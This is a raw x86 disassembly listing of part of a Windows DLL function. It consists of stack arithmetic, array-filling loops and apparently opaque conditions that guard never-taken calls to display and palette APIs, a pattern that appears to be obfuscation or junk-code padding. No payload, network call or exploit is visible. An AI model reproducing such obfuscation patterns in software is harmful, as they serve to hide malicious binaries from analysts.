inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
jne 0x10009e3b
dec dword [ebp - 0x44]
lea ecx, [ebp - 0x394]
push ebx
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x394]
inc dword [eax]
call fcn.1002458d
cmp dword [eax], 0x14
jl 0x10009e15
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x394]
call fcn.10024588
movdqa xmm0, xmmword [0x10007e40]
lea eax, [ebp - 0x10f8]
push eax
lea eax, [ebp - 0x1108]
push eax
lea ecx, [ebp - 0x1310]
movdqu xmmword [ebp - 0x1108], xmm0
call fcn.1002459c
lea ecx, [ebp - 0x11c]
mov esi, eax
call fcn.10008f5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x1174]
push dword [esi]
call fcn.10024562
push 3
pop eax
mov dword [ebp - 0x14], 0xfffffffb
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jl 0x10009f2c
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x10009f27
push eax
push 0xf3a
push 0x10db
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
dec dword [ebp - 0x14]
jns 0x10009efd
lea ecx, [ebp - 0x1174]
call fcn.10024588
xor eax, eax
mov dword [ebp - 0x474], eax
cmp dword [ebp - 0x474], 7
push 0xfffffffffffffff7
pop edx
jg 0x1000a17e
or esi, 0xffffffff
jmp 0x10009f59
push 0xfffffffffffffff7
xor eax, eax
pop edx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x34], esi
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x10009f81
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1234], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10009f6d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
je 0x1000a063
jmp 0x10009f92
push 3
pop ecx
mov dword [ebp - 0x20], 0x2b29949d
push ecx
mov dword [ebp - 0x44], esi
lea ecx, [ebp - 0xc44]
mov dword [ebp - 0x44], esi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0xb
push 3
mov dword [ebp - 0x14], eax
pop ebx
jmp 0x10009fd3
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc44]
call fcn.1002458d
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10009fbc
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
test eax, eax
mov dword [ebp - 0x1230], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
setne cl
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
sub eax, dword [ebp - 0x1c]
neg eax
push 0xfffffffffffffffe
sbb eax, eax
inc eax
pop ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x20]
sbb eax, eax
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor ebx, ebx
inc ecx
cmp ecx, eax
lea ecx, [ebp - 0xc44]
setg bl
xor eax, eax
push eax
call fcn.1002458d
lea ecx, [ebp - 0xc44]
mov dword [eax], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 4], esi
call fcn.10024588
dec dword [ebp - 0x1c]
push 0xfffffffffffffff7
pop eax
cmp dword [ebp - 0x1c], eax
jne 0x10009f8f
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x44], 0x91e29ea4
push 0xfffffffffffffffe
mov dword [ebp - 0x20], ebx
pop ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x14], eax
jmp 0x1000a089
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x94], 0xe8cff0ea
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000a078
mov dword [ebp - 0x94], 0xffffffeb
jmp 0x1000a0da
mov dword [ebp - 0x5c], 0xfffffff8
mov dword [ebp - 0x30], 0x2a831d26
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x30]
cmp eax, ebx
jne 0x1000a0c8
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x5c], 0xfffffffd
sbb eax, eax
inc eax
neg eax
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 0x1b
jg 0x1000a09a
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x94]
sub ecx, eax
jne 0x1000a0ff
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x20]
neg edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x90]
sbb edx, edx
neg edx
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x94]
sub edx, eax
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
cmp ecx, 0x9c21
je 0x1000a14a
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x1000a14c
mov eax, ebx
cmp eax, dword [ebp - 0x94]
jne 0x1000a15e
xor eax, eax
cmp dword [ebp - 0x94], eax
je 0x1000a160
mov eax, ebx
mov dword [ebp - 0x90], eax
dec dword [ebp - 0x44]
inc dword [ebp - 0x474]
cmp dword [ebp - 0x474], 7
jle 0x10009f54
jmp 0x1000a181
or esi, 0xffffffff
mov dword [ebp - 0x3c], 0xec3d
lea ecx, [ebp - 0xf68]
mov dword [ebp - 0x3c], 0x4d8e5ccc
mov dword [ebp - 0x3c], 0x394a2a4f
mov dword [ebp - 0x3c], 0x832937a3
mov dword [ebp - 0x3c], 0x78144ad7
push edi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000a1de
push dword [ebp - 0x18]
lea ecx, [ebp - 0xf68]
call fcn.1002458d
push 0xfffffffffffffffe
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000a1c1
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1000a1f7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdb0], 0x6e5d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1000a1e6
inc dword [ebp - 0xdac]
lea ecx, [ebp - 0xf68]
mov dword [ebp - 4], esi
call fcn.10024588
dec dword [ebp - 0x38]
xor eax, eax
mov ebx, dword [sym.imp.GDI32.dll_SetPaletteEntries]
mov edi, 0x1d0e
mov dword [ebp - 0x20], 0x4a8c6a53
mov dword [ebp - 0x34], 0xfffffff9
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000a242
push eax
push edi
push 0x20f3
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x1000a280
push 3
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1000a26a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdc8], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a256
xor eax, eax
mov dword [ebp - 0x34], 9
inc dword [ebp - 0xdc4]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff6
jl 0x1000a24e
mov dword [ebp - 0x20], 0x4a8c6a53
mov dword [ebp - 0x34], 0xfffffff9
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a2a3
push eax
push edi
push 0x20f3
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x1000a2e1
push 3
pop ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1000a2cb
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xec0], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a2b7
xor eax, eax
mov dword [ebp - 0x34], 9
inc dword [ebp - 0xebc]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff6
jl 0x1000a2af
mov dword [ebp - 0x20], 0x4a8c6a53
mov dword [ebp - 0x34], 0xfffffff9
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a304
push eax
push edi
push 0x20f3
push eax
call ebx
xor eax, eax
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x1000a33e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1000a32c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xde0], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a318
xor eax, eax
mov dword [ebp - 0x34], 9
inc dword [ebp - 0xddc]
dec dword [ebp - 0x20]
jmp 0x1000a30a
push ecx
mov ebx, 0x76820624
lea ecx, [ebp - 0x554]
mov dword [ebp - 0x1c], ebx
call fcn.10024520
push 0xd
pop esi
xor eax, eax
mov dword [ebp - 4], esi
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a386
push dword [ebp - 0x14]
lea ecx, [ebp - 0x554]
call fcn.1002458d
push 3
mov dword [eax], 0x60d2f38d
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000a365
xor eax, eax
mov edi, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x1c], esi
jmp 0x1000a3af
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a3ac
push 0x178a
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jge 0x1000a391
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x554]
mov eax, dword [ebp - 0x1c]
neg esi
push 2
pop eax
sbb esi, esi
push eax
neg esi
call fcn.1002458d
xor ecx, ecx
test esi, esi
push 2
setle cl
mov dword [eax], ecx
lea ecx, [ebp - 0x554]
mov eax, dword [ebp - 0x1c]
pop esi
push esi
call fcn.1002458d
push esi
lea ecx, [ebp - 0x554]
call fcn.1002458d
lea ecx, [ebp - 0x554]
mov eax, dword [eax]
add eax, 0x7ebd
mov dword [ebp - 0x1c], eax
or dword [ebp - 4], 0xffffffff
call fcn.10024588
push 3
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x614]
pop ebx
push ebx
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a451
push dword [ebp - 0x14]
lea ecx, [ebp - 0x614]
call fcn.1002458d
mov dword [eax], 0x60d2f38d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a433
xor eax, eax
mov dword [ebp - 0x1c], 0xd
jmp 0x1000a478
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a475
push 0x178a
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jge 0x1000a45a
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x614]
mov eax, dword [ebp - 0x1c]
neg esi
push 2
pop ebx
sbb esi, esi
push ebx
neg esi
call fcn.1002458d
xor ecx, ecx
test esi, esi
push ebx
setle cl
mov dword [eax], ecx
lea ecx, [ebp - 0x614]
mov eax, dword [ebp - 0x1c]
call fcn.1002458d
push ebx
lea ecx, [ebp - 0x614]
call fcn.1002458d
lea ecx, [ebp - 0x614]
mov eax, dword [eax]
add eax, 0x7ebd
mov dword [ebp - 0x1c], eax
or dword [ebp - 4], 0xffffffff
call fcn.10024588
xor eax, eax
mov dword [ebp - 0x2c], 0x8c6a53d0
push 3
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x1f4]
pop eax
push eax
call fcn.10024520
mov dword [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x30], 0x92715ee5
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000a52d
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f4]
call fcn.1002458d
push 3
mov dword [eax], 0x83066c93
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000a50c
xor eax, eax
mov dword [ebp - 0x2c], 0xffffffe6
jmp 0x1000a575
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x3c], 0xaa810d21
mov dword [ebp - 0x44], 0x809d0107
mov dword [ebp - 0x14], eax
jmp 0x1000a561
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1280], 0x1d2250db
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a550
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x44]
inc dword [ebp - 0x2c]
push 0
pop eax
cmp dword [ebp - 0x2c], 0xfffffff8
jge 0x1000a536
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x1f4]
xor eax, eax
push eax
call fcn.1002458d
mov dword [eax], esi
mov eax, dword [ebp - 0x2c]
add eax, esi
je 0x1000a648
push ebx
lea ecx, [ebp - 0x1f4]
call fcn.1002458d
mov ecx, dword [ebp - 0x2c]
xor edx, edx
add ecx, 0x5e570e13
cmp ecx, dword [eax]
setg dl
xor eax, eax
cmp dword [ebp - 0x30], edx
jl 0x1000a5da
cmp dword [ebp - 0x30], eax
je 0x1000a5da
push ebx
lea ecx, [ebp - 0x1f4]
call fcn.1002458d
cmp dword [eax], esi
je 0x1000a5d8
xor eax, eax
lea esi, [eax + 1]
jmp 0x1000a5dc
xor eax, eax
mov esi, eax
push eax
lea ecx, [ebp - 0x1f4]
call fcn.1002458d
xor ebx, ebx
lea ecx, [ebp - 0x1f4]
cmp esi, dword [eax]
setl bl
xor eax, eax
push eax
call fcn.1002458d
lea ecx, [ebp - 0x1f4]
sub ebx, dword [eax]
xor eax, eax
inc eax
push eax
call fcn.1002458d
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub ebx, ecx
mov ecx, dword [ebp - 0x30]
cmp ebx, ecx
setl dl
xor ecx, ecx
cmp edx, dword [eax]
setge cl
xor ebx, ebx
cmp ecx, 0x96f3
lea ecx, [ebp - 0x1f4]
setg bl
xor eax, eax
push eax
call fcn.1002458d
cmp dword [eax], ebx
jle 0x1000a648
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x1000a64f
xor eax, eax
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x20]
add eax, ecx
xor ecx, ecx
cmp eax, 0xfffffffe
setge cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x1f4]
or dword [ebp - 4], 0xffffffff
call fcn.10024588
mov dword [ebp - 0x20], 0x4a8c6a53
lea ecx, [ebp - 0x56c]
mov eax, 0xffff
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x30], 0x2f88d967
push ebx
call fcn.10024520
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x18], 0x4c266d8f
mov dword [ebp - 0x48], 0x64ce34aa
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a6db
push dword [ebp - 0x14]
lea ecx, [ebp - 0x56c]
call fcn.1002458d
mov dword [eax], 0x7b30498d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a6bd
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000a749
mov eax, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setl dl
sub edx, dword [ebp - 0x20]
jne 0x1000a702
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1000a704
mov eax, ebx
add eax, 0x8ea5f34b
lea ecx, [ebp - 0x56c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
sub dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
imul esi, eax, 0x2ef5
xor eax, eax
push eax
call fcn.1002458d
mov dword [eax], esi
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x20]
test eax, eax
je 0x1000a747
mov eax, ebx
jmp 0x1000a749
xor eax, eax
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1000a7f6
mov dword [ebp - 0x3c], 0xebe66343
mov dword [ebp - 0x34], 0x552b
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a785
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x618], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a76d
xor eax, eax
push eax
lea ecx, [ebp - 0x56c]
call fcn.1002458d
push 2
pop esi
mov eax, dword [eax]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x18], 0x13
cmp dword [ebp - 0x18], esi
jg 0x1000a889
push 3
pop ecx
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], eax
jmp 0x1000a7ca
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x118c], 0xadbacd6b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000a7b9
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov dword [ebp - 0x1184], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1000a7af
jmp 0x1000a889
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x44], 0xcf97a265
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000a816
push eax
push 0x2637
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1000a822
mov ecx, eax
cmp dword [ebp - 0x20], eax
je 0x1000a824
mov ecx, ebx
mov dword [ebp - 0x14], 0x6fcb758c
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp - 0x20]
neg esi
sbb esi, esi
xor eax, eax
inc esi
imul esi, ecx
lea ecx, [ebp - 0x56c]
push eax
call fcn.1002458d
xor ecx, ecx
push 2
mov dword [eax], esi
mov eax, dword [ebp - 0x28]
cmp eax, ebx
mov eax, dword [ebp - 0x20]
setg cl
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
add edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
imul edx, esi
pop esi
cmp edx, eax
setl cl
sub ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x20]
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x18], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x56c]
call fcn.10024588
mov dword [ebp - 0x34], 0xfffffff9
lea ecx, [ebp - 0xf28]
push ebx
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a8d7
push dword [ebp - 0x14]
lea ecx, [ebp - 0xf28]
call fcn.1002458d
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a8bc
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a8fd
push 0x1572
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1000a90d
push eax
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf28]
call fcn.10024588
xor eax, eax
lea ecx, [ebp - 0x9d4]
mov byte [ebp - 0x3d], al
push esi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1000a95c
push dword [ebp - 0x18]
lea ecx, [ebp - 0x9d4]
call fcn.1002458d
mov dword [eax], 9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1000a93e
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x1000a97e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x704], 0x57976326
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1000a965
xor eax, eax
mov dword [ebp - 0x6f8], eax
jmp 0x1000a99d
push dword [ebp - 0x6f8]
call fcn.1002458d
mov dword [eax], 0xfff9
inc dword [ebp - 0x6f8]
lea ecx, [ebp - 0x9d4]
cmp dword [ebp - 0x6f8], esi
jl 0x1000a986
or dword [ebp - 4], 0xffffffff
call fcn.10024588
cmp byte [ebp - 0x3d], 0
je 0x1000ac1f
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], 7
mov dword [ebp - 0x1c], 0x48110cbb
mov dword [ebp - 0x54], 0x38a8
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000a9f8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7c], 0x40d7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000a9e3
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x1000ac0d
mov dword [ebp - 0x18], 0x772304b2
mov dword [ebp - 0x20], 0x79dc8669
mov dword [ebp - 0x38], 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000aa36
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], 0x3b9d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000aa21
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x1000ac04
push 3
mov dword [ebp - 0x14], eax
pop ecx
jmp 0x1000aa5b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c0], 0x891f433c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000aa4a
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp dword [ebp + eax*4 - 0x7c], ecx
jne 0x1000ab24
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x7c], ecx
jne 0x1000ab24
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x7c]
cmp eax, ebx
setne cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x7c]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 0xf9a4
setne cl
xor eax, eax
cmp dword [ebp - 0x7c], ecx
jl 0x1000aac4
cmp dword [ebp - 0x24], eax
je 0x1000aac4
mov eax, ebx
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000aad1
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, 0xa9a9
setg cl
sub ecx, 0x5721
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
add ecx, 0x67e784b5
jne 0x1000aaf8
cmp dword [ebp - 0x1c], eax
je 0x1000aaff
mov ecx, ebx
cmp dword [ebp - 0x1c], eax
jne 0x1000ab01
mov ecx, eax
mov eax, dword [ebp - 0x8bc]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, 0x49ef57a5
jge 0x1000ab24
xor eax, eax
jmp 0x1000ab26
mov eax, ebx
cmp eax, dword [ebp - 0x24]
jne 0x1000ab4a
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1000ab43
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0xfffffffd
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000ab32
jmp 0x1000ab5c
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1000ab5a
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1000abf5
mov dword [ebp - 0x34], 0xbc12a55b
xor edx, edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x8bc]
imul ecx, eax, 0x783d
mov eax, dword [ebp - 0x54]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setge cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x8bc]
setge dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setle bl
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x7c]
mov eax, dword [ebp - 0x20]
cmp ebx, eax
sete cl
xor eax, eax
cmp ecx, edx
jge 0x1000abd0
cmp dword [ebp - 0x38], eax
je 0x1000abd0
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x1000abd5
xor ebx, ebx
mov ecx, eax
inc ebx
xor eax, eax
cmp ecx, 0x25a5285b
setl al
imul eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x2c]
jns 0x1000ab68
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
push 0
pop eax
jle 0x1000aa42
dec dword [ebp - 0x24]
jns 0x1000aa04
push eax
push 0x1d0e
push 0x20f3
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xfffffff6
jge 0x1000b14a
mov edi, 0xeacb2d50
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0xb54]
push esi
call fcn.10024520
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1000ac6e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x12c0], 5
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1000ac56
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1000ac8e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xd30], 6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1000ac76
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1000aca4
push dword [ebp - 0x24]
call fcn.1002458d
mov dword [eax], 0xef2c3654
inc dword [ebp - 0x24]
lea ecx, [ebp - 0xb54]
cmp dword [ebp - 0x24], esi
jl 0x1000ac93
push ebx
call fcn.1002458d
lea ecx, [ebp - 0xb54]
inc dword [eax]
or dword [ebp - 4], 0xffffffff
call fcn.10024588
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x38], ebx
push 3
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1000acf1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x13e0], 0x5c526587
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1000acd9
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jne 0x1000ae25
mov dword [ebp - 0x2c], 0xcad2
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x2c], eax
je 0x1000ad1f
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
